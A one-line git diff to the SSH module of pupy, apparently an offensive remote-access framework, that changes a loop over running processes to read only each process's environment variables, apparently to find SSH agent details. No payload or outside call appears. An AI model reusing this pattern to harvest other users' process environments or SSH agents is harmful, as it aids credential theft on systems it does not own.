diff --git a/pupy/packages/all/ssh.py b/pupy/packages/all/ssh.py
index 00bcadf4..b9f440a0 100644
--- a/pupy/packages/all/ssh.py
+++ b/pupy/packages/all/ssh.py
@@ -418,7 +418,7 @@ class SSH(object):
 
         for process in process_iter():
             try:
-                info = process.as_dict()
+                info = process.as_dict(['environ'])
             except OSError:
                 continue